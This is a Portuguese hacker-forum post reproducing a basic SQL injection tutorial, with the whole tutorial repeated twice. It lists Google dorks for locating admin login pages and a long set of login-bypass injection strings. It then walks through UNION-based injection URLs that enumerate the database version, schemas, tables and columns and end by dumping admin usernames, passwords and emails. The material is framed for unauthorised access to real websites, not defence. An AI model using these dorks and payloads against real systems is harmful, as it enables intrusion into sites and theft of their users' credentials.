Últimos assuntos
Like/Tweet/+1
Top dos mais postadores
Pirate | ||||
ZeuuS | ||||
starclick | ||||
kapru | ||||
cyber_anon1 | ||||
Anonymizer | ||||
sys0p | ||||
HCHosT | ||||
Jezuis | ||||
Rogy153 |
Ataque SQLi básico
:: Area Hacker :: SQLi
Página 1 de 1
Ataque SQLi básico
|| Paper sobre Ataques SQLi Básicos ||
|| (Pt1 - Utilizando Serviços s/ Registro ) ||
|| (Pt2 - Acessando a Base de Dados )
P4R73 1 - U71L1Z4ND0 $3RV1C0$ $3M R3G1$S7R0
(Econtrando sites vulneraveis)
(Injetando código e conseguindo acesso aos serviços)
||1- Encontrando Sites Vulneraveis: ||
Para esta aplicação do SQLi oque procura-se na verdade, são paginas de admin/login...
as quais sofrerão o inject nos campos de usuario e senha. Pode-se procurar com
admin/login - dorks, ou sqli scanners. Seguem algumas boas dorks:
allinurl:/webadmin/default.asp allinurl:/menu_admin/default.asp
allinurl:/menu_admin/login.asp allinurl:/menu_admin/index.asp
allinurl:/news/admin/ allinurl:/noticias/admin/
allinurl:/portal/admin/ allinurl:/cadastro/admin/
allinurl:/home/admin.asp allinurl:/site/admin/
allinurl:/home/admin/default.asp allinurl:/home/admin/index.asp
allinurl:/web/admin/index.asp allinurl:/home/admin/login.asp
allinurl:admin/default.asp allinurl:admin/index.asp
allinurl:admin/login.asp allinurl:admin/admin.asp
allinurl:/admin/default.asp allinurl:/admin/entrar.asp
allinurl:/admin/login.asp allinurl:/admin/index.asp
allinurl:/admin/senha.asp allinurl:/admin/password.asp
allinurl:/adm/default.asp allinurl:/login/login.asp
allinurl:/login/default.asp allinurl:/login/index.asp
allinurl:/webadmin/default.asp allinurl:/webmaster/login.asp
allinurl:/webadmin/default.asp allinurl:/webadmin/index.asp
OBS.: Caso caia direto na pagina de admin/login, há grandes chances de vulnerabilidade.
||2- Injetando código e conseguindo acesso aos serviços: ||
O ataque aqui acontece apenas com a inserção de códigos SQL que venham alterar a sintaxe das expressões booleanas ( verdadeiro ou falso ) resultantes, pois assim é feito o controle de quem deve ou não ter acesso aos serviços de determinado site. Vou deixar aqui algumas strings prontas para inserção nos forms de user e senha , lembrando que A MESMA STRING DEVE SER INSERIDA NOS DOIS CAMPOS. Caso o atacante domine a linguagem SQL, podem ser boladas várias outras strings.
Seguem as strings, cada linha tem duas strings diferentes:
hi ' or 1=1 -- hi ' or ' a'='a
hi") or ("a"="a hi ') or (' a'='a
' or 0=0 -- admin ' - -
or 0=0 -- "or 0=0 --
b' or ' 1=' ' or ' 1
' or '| ' or '1
' or ''=' ' or 'a'='a
') or ('a'='a ' or 1=1--
' or 0=0 # ' or '1'='1
or 0=0 # "or 0=0 #
"or" x"="x ' or ' x'='x
"or" a"="a ') or (' x'='x
") or ("a"="a ') or (' a'='a
hi "or 1=1 -- hi "or" a"="a
"or 1=1 -- ' or 1=1 --
' or a=a -- or 1=1 --
"or 1=1 -- ' or 1=1 --
' or a=a -- or 1=1 --
‘ or ’1 b’ or ‘ 1=’
‘ or ‘a’=’a ‘ or ‘|
‘ or 1=1– ‘ or ”=’
‘ or ’1′=’1 ‘) or (‘a’=’a
‘ or 0=0 – admin ‘ – -
or 0=0 – “or 0=0 –
“or 0=0 # ‘ or 0=0 #
‘ or ‘ x’=’x or 0=0 #
‘) or (‘ x’=’x “or” x”=”x
“or 1=1 – ‘ or 1=1 –
‘ or a=a – or 1=1 –
‘) or (‘ a’=’a “or” a”=”a
hi “or” a”=”a “) or (“a”=”a
hi ‘ or 1=1 – hi “or 1=1 –
hi ‘) or (‘ a’=’a hi ‘ or ‘ a’=’a
‘ or ‘x’=’x hi”) or (“a”=”a
P4R73 2 - 4C3$$4ND0 4 34$3 D3 D4D0$
(Acessando o WebSite --> 1,2,3)
(Capturando Informações do alvo --> 4,5)
( O Trabalho Sujo --> 6,7,8,9)
*** Acessando o WebSite ***
Encontrando Sites Vulneráveis:
Para tal feito, pode-se utilizar de sqli-dorks no google, ou sqli scanners.
Após encontrar a url do site, joge ao final do parametro um " ' ", se sair
um erro do Banco de Dados, o site é vulneravel.
Ex.: http://www.sitevulneravel.com/index.php?id=80'&numb=797' ou
http://www.sitevulneravel.com/index.php?id='80&numb='797
Warning: mysql_fetch_array(): supplied argument
is not a valid MySQL result resource in
/home1/michafj0/public_html/gallery.php on line 7
||2- Determinando o numero de colunas: ||
Para descobrirmos o numero de colunas, utilizaremos do comando "ORDER BY X--"
do sql, X sera o numero da coluna, iremos iterando-o ate sair uma mensagem de erro, ao sair do erro, o numero de colunas sera igual a (X - 1).
Ex.: http://portalDosNammbies.com/buy.php?id=1 ORDER BY 1-- <---No error
http://portalDosNammbies.com/buy.php?id=1 ORDER BY 2-- <---No error
http://portalDosNammbies.com/buy.php?id=1 ORDER BY 3-- <---No error
http://portalDosNammbies.com/buy.php?id=1 ORDER BY 4-- <---No error
http://portalDosNammbies.com/buy.php?id=1 ORDER BY 5-- <---ERROR!
Obs.: O numero de colunas sera ( 5 - 1 = 4).
||3- Procurando por Colunas vulneráveis: ||
Faremos tal procura utilizando das querys SELECT e UNION, que unirão todos os dados necessários em um só local. Sem esquecer do hífen duplo ao final dos numeros de colunas.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,2,3,4--
OBS.: Após a injeção deste código, os numeros que aparecerem na página serão referentes as colunas vulneráveis á injeção de código, através delas, iremos conseguir informações.
|| ***Capturando Informações do Alvo*** ||
||4- Determinando a versão SQL do servidor: ||
================================================
A descoberta da versão SQL que esta rodando no servidor é um passo muito importante
pois, por exemplo, as injeções a serem feitas para determinado objetivo são diferen-
tes para o SQL na versão 4 e para o SQL na versão 5, aqui serão abordadas aplicações
ao SQL 5 pelo fato deste, ser mais atual. Tanto neste como no passo seguinte oque fa-
remos nada mais será do que substituir as colunas vulneráveis por constantes SQL que
trarão as informações desejadas.Caso não apareca o nome da versão, tente com as
funções unhex() e hex().
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,@@version,3,4--
ou
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--
Obs.: Caso apareça a versão 5 está ok, caso contrario pesquise outro material que ensine a injeção neste para tal versão
||5- Procurando o nome das bases de Dados: ||
Este passo não é tão necessário para conseguir nossos objetivos, mas será interessante para eventuais necessidades suas, abordá-lo. Primeiro pegaremos o nome de todas as data- bases e depois o nome da database a qual estamos atualmente.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from
information_schema.schemata--
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,concat(database()),3,4--
|| *** O Trabalho Sujo *** ||
||6- Procurando o nome das tabelas: ||
O processo é semelhante ao passo anterior apenas com um pouco de código SQL a mais.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables
WHERE table_schema=database()--
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE
table_schema=database() LIMIT 0,1--
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE
table_schema=database() LIMIT 30,1--
||7- Procurando o nome das colunas:
Agora que nós já temos todos os nomes das tabelas, podemos escolher as que conteem
o conteudo de nosso interesse e let's play.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM
information_schema.columns WHERE table_name="Admin"--
Obs.: Caso neste ponto você receba erros de sintaxe, acesse este site: http://www.swingnote.com/tools/texttohex.php
Faça a conversão do nome da tabela, para hexadecimal e tente novamente.
||8- Pegando o conteudo das colunas: ||
=========================================
Estamos quase lá, a única coisa que teremos que fazer é pegarmos o conteudo presente nas colunas
da tabela escolhida e logarmos, ou não, depois.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM
db123.Admin--
Obs.: Neste caso 0x3a é o valor hexadecimal referente a ":"
||8- Fazendo login com as informacoes: ||
Esta e a ultima parte do papper, na verdade nn há muuito oque falar por aqui, é meio logico oq fazer apos encontrar as informacoes, mas varia de fins e fins... O que e de costume fazer e conseguir dados via url mesmo, repitindo e variando o passo a cima. Ou procurar, via metodo anterior, informacoes de admin banco de dados e entaum se conectar ao banco, conseguindo acesso a todos os dados de uma forma muito mais
organizada e convencional.
Outro ponto interessante de abordagem e' a questao de achar paginas de login, admin. Podem ser tentadas paginas do tipo login.php|asp, user.php|asp, admin.php|asp e outras muuitas possibilidades. Va ao oraculo de dois olhos G00GL3 e procure por: "admin pages list" para achar uma infinidade de nomes de paginas, ate encontrala. Caso vc seja aquele script kiddie nato, procure por "admin page Scanner". Apos encontrar, so felicidades.
Creditos a Pseudo Backer...
Read more: http://tudosobrehacker.com/tutoriais/defacer/666-ataque-sqli-basico#ixzz1uK2Lrxiy
|| (Pt1 - Utilizando Serviços s/ Registro ) ||
|| (Pt2 - Acessando a Base de Dados )
P4R73 1 - U71L1Z4ND0 $3RV1C0$ $3M R3G1$S7R0
(Econtrando sites vulneraveis)
(Injetando código e conseguindo acesso aos serviços)
||1- Encontrando Sites Vulneraveis: ||
Para esta aplicação do SQLi oque procura-se na verdade, são paginas de admin/login...
as quais sofrerão o inject nos campos de usuario e senha. Pode-se procurar com
admin/login - dorks, ou sqli scanners. Seguem algumas boas dorks:
allinurl:/webadmin/default.asp allinurl:/menu_admin/default.asp
allinurl:/menu_admin/login.asp allinurl:/menu_admin/index.asp
allinurl:/news/admin/ allinurl:/noticias/admin/
allinurl:/portal/admin/ allinurl:/cadastro/admin/
allinurl:/home/admin.asp allinurl:/site/admin/
allinurl:/home/admin/default.asp allinurl:/home/admin/index.asp
allinurl:/web/admin/index.asp allinurl:/home/admin/login.asp
allinurl:admin/default.asp allinurl:admin/index.asp
allinurl:admin/login.asp allinurl:admin/admin.asp
allinurl:/admin/default.asp allinurl:/admin/entrar.asp
allinurl:/admin/login.asp allinurl:/admin/index.asp
allinurl:/admin/senha.asp allinurl:/admin/password.asp
allinurl:/adm/default.asp allinurl:/login/login.asp
allinurl:/login/default.asp allinurl:/login/index.asp
allinurl:/webadmin/default.asp allinurl:/webmaster/login.asp
allinurl:/webadmin/default.asp allinurl:/webadmin/index.asp
OBS.: Caso caia direto na pagina de admin/login, há grandes chances de vulnerabilidade.
||2- Injetando código e conseguindo acesso aos serviços: ||
O ataque aqui acontece apenas com a inserção de códigos SQL que venham alterar a sintaxe das expressões booleanas ( verdadeiro ou falso ) resultantes, pois assim é feito o controle de quem deve ou não ter acesso aos serviços de determinado site. Vou deixar aqui algumas strings prontas para inserção nos forms de user e senha , lembrando que A MESMA STRING DEVE SER INSERIDA NOS DOIS CAMPOS. Caso o atacante domine a linguagem SQL, podem ser boladas várias outras strings.
Seguem as strings, cada linha tem duas strings diferentes:
hi ' or 1=1 -- hi ' or ' a'='a
hi") or ("a"="a hi ') or (' a'='a
' or 0=0 -- admin ' - -
or 0=0 -- "or 0=0 --
b' or ' 1=' ' or ' 1
' or '| ' or '1
' or ''=' ' or 'a'='a
') or ('a'='a ' or 1=1--
' or 0=0 # ' or '1'='1
or 0=0 # "or 0=0 #
"or" x"="x ' or ' x'='x
"or" a"="a ') or (' x'='x
") or ("a"="a ') or (' a'='a
hi "or 1=1 -- hi "or" a"="a
"or 1=1 -- ' or 1=1 --
' or a=a -- or 1=1 --
"or 1=1 -- ' or 1=1 --
' or a=a -- or 1=1 --
‘ or ’1 b’ or ‘ 1=’
‘ or ‘a’=’a ‘ or ‘|
‘ or 1=1– ‘ or ”=’
‘ or ’1′=’1 ‘) or (‘a’=’a
‘ or 0=0 – admin ‘ – -
or 0=0 – “or 0=0 –
“or 0=0 # ‘ or 0=0 #
‘ or ‘ x’=’x or 0=0 #
‘) or (‘ x’=’x “or” x”=”x
“or 1=1 – ‘ or 1=1 –
‘ or a=a – or 1=1 –
‘) or (‘ a’=’a “or” a”=”a
hi “or” a”=”a “) or (“a”=”a
hi ‘ or 1=1 – hi “or 1=1 –
hi ‘) or (‘ a’=’a hi ‘ or ‘ a’=’a
‘ or ‘x’=’x hi”) or (“a”=”a
P4R73 2 - 4C3$$4ND0 4 34$3 D3 D4D0$
(Acessando o WebSite --> 1,2,3)
(Capturando Informações do alvo --> 4,5)
( O Trabalho Sujo --> 6,7,8,9)
*** Acessando o WebSite ***
Encontrando Sites Vulneráveis:
Para tal feito, pode-se utilizar de sqli-dorks no google, ou sqli scanners.
Após encontrar a url do site, joge ao final do parametro um " ' ", se sair
um erro do Banco de Dados, o site é vulneravel.
Ex.: http://www.sitevulneravel.com/index.php?id=80'&numb=797' ou
http://www.sitevulneravel.com/index.php?id='80&numb='797
Warning: mysql_fetch_array(): supplied argument
is not a valid MySQL result resource in
/home1/michafj0/public_html/gallery.php on line 7
||2- Determinando o numero de colunas: ||
Para descobrirmos o numero de colunas, utilizaremos do comando "ORDER BY X--"
do sql, X sera o numero da coluna, iremos iterando-o ate sair uma mensagem de erro, ao sair do erro, o numero de colunas sera igual a (X - 1).
Ex.: http://portalDosNammbies.com/buy.php?id=1 ORDER BY 1-- <---No error
http://portalDosNammbies.com/buy.php?id=1 ORDER BY 2-- <---No error
http://portalDosNammbies.com/buy.php?id=1 ORDER BY 3-- <---No error
http://portalDosNammbies.com/buy.php?id=1 ORDER BY 4-- <---No error
http://portalDosNammbies.com/buy.php?id=1 ORDER BY 5-- <---ERROR!
Obs.: O numero de colunas sera ( 5 - 1 = 4).
||3- Procurando por Colunas vulneráveis: ||
Faremos tal procura utilizando das querys SELECT e UNION, que unirão todos os dados necessários em um só local. Sem esquecer do hífen duplo ao final dos numeros de colunas.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,2,3,4--
OBS.: Após a injeção deste código, os numeros que aparecerem na página serão referentes as colunas vulneráveis á injeção de código, através delas, iremos conseguir informações.
|| ***Capturando Informações do Alvo*** ||
||4- Determinando a versão SQL do servidor: ||
================================================
A descoberta da versão SQL que esta rodando no servidor é um passo muito importante
pois, por exemplo, as injeções a serem feitas para determinado objetivo são diferen-
tes para o SQL na versão 4 e para o SQL na versão 5, aqui serão abordadas aplicações
ao SQL 5 pelo fato deste, ser mais atual. Tanto neste como no passo seguinte oque fa-
remos nada mais será do que substituir as colunas vulneráveis por constantes SQL que
trarão as informações desejadas.Caso não apareca o nome da versão, tente com as
funções unhex() e hex().
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,@@version,3,4--
ou
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--
Obs.: Caso apareça a versão 5 está ok, caso contrario pesquise outro material que ensine a injeção neste para tal versão
||5- Procurando o nome das bases de Dados: ||
Este passo não é tão necessário para conseguir nossos objetivos, mas será interessante para eventuais necessidades suas, abordá-lo. Primeiro pegaremos o nome de todas as data- bases e depois o nome da database a qual estamos atualmente.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from
information_schema.schemata--
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,concat(database()),3,4--
|| *** O Trabalho Sujo *** ||
||6- Procurando o nome das tabelas: ||
O processo é semelhante ao passo anterior apenas com um pouco de código SQL a mais.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables
WHERE table_schema=database()--
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE
table_schema=database() LIMIT 0,1--
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE
table_schema=database() LIMIT 30,1--
||7- Procurando o nome das colunas:
Agora que nós já temos todos os nomes das tabelas, podemos escolher as que conteem
o conteudo de nosso interesse e let's play.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM
information_schema.columns WHERE table_name="Admin"--
Obs.: Caso neste ponto você receba erros de sintaxe, acesse este site: http://www.swingnote.com/tools/texttohex.php
Faça a conversão do nome da tabela, para hexadecimal e tente novamente.
||8- Pegando o conteudo das colunas: ||
=========================================
Estamos quase lá, a única coisa que teremos que fazer é pegarmos o conteudo presente nas colunas
da tabela escolhida e logarmos, ou não, depois.
Ex.:
http://portalDosNammbies.com/buy.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM
db123.Admin--
Obs.: Neste caso 0x3a é o valor hexadecimal referente a ":"
||8- Fazendo login com as informacoes: ||
Esta e a ultima parte do papper, na verdade nn há muuito oque falar por aqui, é meio logico oq fazer apos encontrar as informacoes, mas varia de fins e fins... O que e de costume fazer e conseguir dados via url mesmo, repitindo e variando o passo a cima. Ou procurar, via metodo anterior, informacoes de admin banco de dados e entaum se conectar ao banco, conseguindo acesso a todos os dados de uma forma muito mais
organizada e convencional.
Outro ponto interessante de abordagem e' a questao de achar paginas de login, admin. Podem ser tentadas paginas do tipo login.php|asp, user.php|asp, admin.php|asp e outras muuitas possibilidades. Va ao oraculo de dois olhos G00GL3 e procure por: "admin pages list" para achar uma infinidade de nomes de paginas, ate encontrala. Caso vc seja aquele script kiddie nato, procure por "admin page Scanner". Apos encontrar, so felicidades.
Creditos a Pseudo Backer...
Read more: http://tudosobrehacker.com/tutoriais/defacer/666-ataque-sqli-basico#ixzz1uK2Lrxiy
:: Area Hacker :: SQLi
Página 1 de 1
Permissões neste sub-fórum
Não podes responder a tópicos
|
|
Sex Jun 29, 2012 10:03 pm por jhonmaik
» Explicando
Sex Jun 29, 2012 8:07 pm por kapru
» como usar o fire works CS3
Ter maio 15, 2012 7:06 pm por Jezuis
» Construção de Um Sistema de Blackboard
Seg maio 14, 2012 10:39 am por Pirate
» Seminário Hacker
Seg maio 14, 2012 10:35 am por Pirate
» Dorks SQLi
Ter maio 08, 2012 7:05 pm por Pirate
» Ataque SQLi básico
Ter maio 08, 2012 7:04 pm por Pirate
» Fórum The Pirate Bay Br
Seg maio 07, 2012 3:50 pm por Pirate